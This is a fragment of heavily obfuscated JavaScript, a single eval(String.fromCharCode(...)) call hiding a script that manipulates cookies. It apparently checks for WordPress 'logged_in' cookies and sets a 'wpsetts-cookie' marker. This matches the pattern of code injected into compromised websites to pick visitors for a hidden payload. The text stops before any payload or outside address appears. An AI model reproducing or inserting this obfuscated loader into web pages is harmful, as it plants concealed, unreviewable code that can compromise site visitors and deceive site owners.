eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,95,48,120,102,49,56,48,55,48,44,95,48,120,50,55,50,99,102,48,41,123,118,97,114,32,95,48,120,53,57,50,57,48,99,61,95,48,120,53,49,56,49,44,95,48,120,53,54,50,48,50,55,61,95,48,120,102,49,56,48,55,48,40,41,59,119,104,105,108,101,40,33,33,91,93,41,123,116,114,121,123,118,97,114,32,95,48,120,49,50,97,98,100,56,61,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,101,56,41,41,47,48,120,49,43,45,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,100,55,41,41,47,48,120,50,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,100,99,41,41,47,48,120,51,41,43,45,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,101,49,41,41,47,48,120,52,43,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,100,54,41,41,47,48,120,53,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,100,101,41,41,47,48,120,54,41,43,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,100,50,41,41,47,48,120,55,42,40,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,101,53,41,41,47,48,120,56,41,43,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,101,50,41,41,47,48,120,57,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,101,52,41,41,47,48,120,97,41,43,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,101,55,41,41,47,48,120,98,42,40,45,112,97,114,115,101,73,110,116,40,95,48,120,53,57,50,57,48,99,40,48,120,101,51,41,41,47,48,120,99,41,59,105,102,40,95,48,120,49,50,97,98,100,56,61,61,61,95,48,120,50,55,50,99,102,48,41,98,114,101,97,107,59,101,108,115,101,32,95,48,120,53,54,50,48,50,55,91,39,112,117,115,104,39,93,40,95,48,120,53,54,50,48,50,55,91,39,115,104,105,102,116,39,93,40,41,41,59,125,99,97,116,99,104,40,95,48,120,53,57,52,55,50,54,41,123,95,48,120,53,54,50,48,50,55,91,39,112,117,115,104,39,93,40,95,48,120,53,54,50,48,50,55,91,39,115,104,105,102,116,39,93,40,41,41,59,125,125,125,40,95,48,120,97,51,99,54,44,48,120,51,53,99,99,98,41,41,59,102,117,110,99,116,105,111,110,32,115,101,116,67,111,111,107,105,101,40,95,48,120,49,57,50,56,57,49,44,95,48,120,52,100,53,101,100,57,44,95,48,120,53,52,49,98,99,99,41,123,118,97,114,32,95,48,120,53,48,48,49,54,55,61,95,48,120,53,49,56,49,44,95,48,120,49,49,98,53,49,50,61,39,39,59,105,102,40,95,48,120,53,52,49,98,99,99,41,123,118,97,114,32,95,48,120,50,57,53,55,101,56,61,110,101,119,32,68,97,116,101,40,41,59,95,48,120,50,57,53,55,101,56,91,95,48,120,53,48,48,49,54,55,40,48,120,100,57,41,93,40,95,48,120,50,57,53,55,101,56,91,95,48,120,53,48,48,49,54,55,40,48,120,100,102,41,93,40,41,43,48,120,49,56,42,95,48,120,53,52,49,98,99,99,42,48,120,51,99,42,48,120,51,99,42,48,120,51,101,56,41,44,95,48,120,49,49,98,53,49,50,61,95,48,120,53,48,48,49,54,55,40,48,120,100,100,41,43,95,48,120,50,57,53,55,101,56,91,39,116,111,85,84,67,83,116,114,105,110,103,39,93,40,41,59,125,100,111,99,117,109,101,110,116,91,95,48,120,53,48,48,49,54,55,40,48,120,101,48,41,93,61,95,48,120,49,57,50,56,57,49,43,39,61,39,43,40,95,48,120,52,100,53,101,100,57,124,124,39,39,41,43,95,48,120,49,49,98,53,49,50,43,95,48,120,53,48,48,49,54,55,40,48,120,100,98,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,53,49,56,49,40,95,48,120,51,49,97,48,56,51,44,95,48,120,49,97,101,56,56,57,41,123,118,97,114,32,95,48,120,97,51,99,54,48,101,61,95,48,120,97,51,99,54,40,41,59,114,101,116,117,114,110,32,95,48,120,53,49,56,49,61,102,117,110,99,116,105,111,110,40,95,48,120,53,49,56,49,102,49,44,95,48,120,52,101,54,101,102,100,41,123,95,48,120,53,49,56,49,102,49,61,95,48,120,53,49,56,49,102,49,45,48,120,100,50,59,118,97,114,32,95,48,120,50,56,102,51,51,98,61,95,48,120,97,51,99,54,48,101,91,95,48,120,53,49,56,49,102,49,93,59,114,101,116,117,114,110,32,95,48,120,50,56,102,51,51,98,59,125,44,95,48,120,53,49,56,49,40,95,48,120,51,49,97,48,56,51,44,95,48,120,49,97,101,56,56,57,41,59,125,102,117,110,99,116,105,111,110,32,95,48,120,97,51,99,54,40,41,123,118,97,114,32,95,48,120,49,102,102,51,53,48,61,91,39,50,52,56,55,54,57,48,110,99,90,110,77,77,39,44,39,49,56,53,52,49,51,50,80,114,103,70,85,104,39,44,39,49,48,78,118,88,68,90,122,39,44,39,53,54,118,74,73,77,86,110,39,44,39,108,111,103,103,101,100,95,105,110,39,44,39,49,49,104,108,86,83,114,114,39,44,39,49,56,56,55,57,55,115,119,72,69,82,108,39,44,39,119,112,115,101,116,116,115,45,99,111,111,107,105,101,39,44,39,50,53,57,56,56,57,77,103,74,85,66,99,39,44,39,108,101,110,103,116,104,39,44,39,99,104,97,114,65,116,39,44,39,115,117,98,115,116,114,105,110,103,39,44,39,50,51,48,90,105,68,74,66,119,39,44,39,57,48,50,54,122,89,99,66,111,70,39,44,39,115,112,108,105,116,39,44,39,115,101,116,84,105,109,101,39,44,39,105,110,100,101,120,79,102,39,44,39,59,92,120,50,48,112,97,116,104,61,47,39,44,39,50,55,51,119,82,79,87,78,117,39,44,39,59,92,120,50,48,101,120,112,105,114,101,115,61,39,44,39,51,54,48,54,107,86,89,108,71,116,39,44,39,103,101,116,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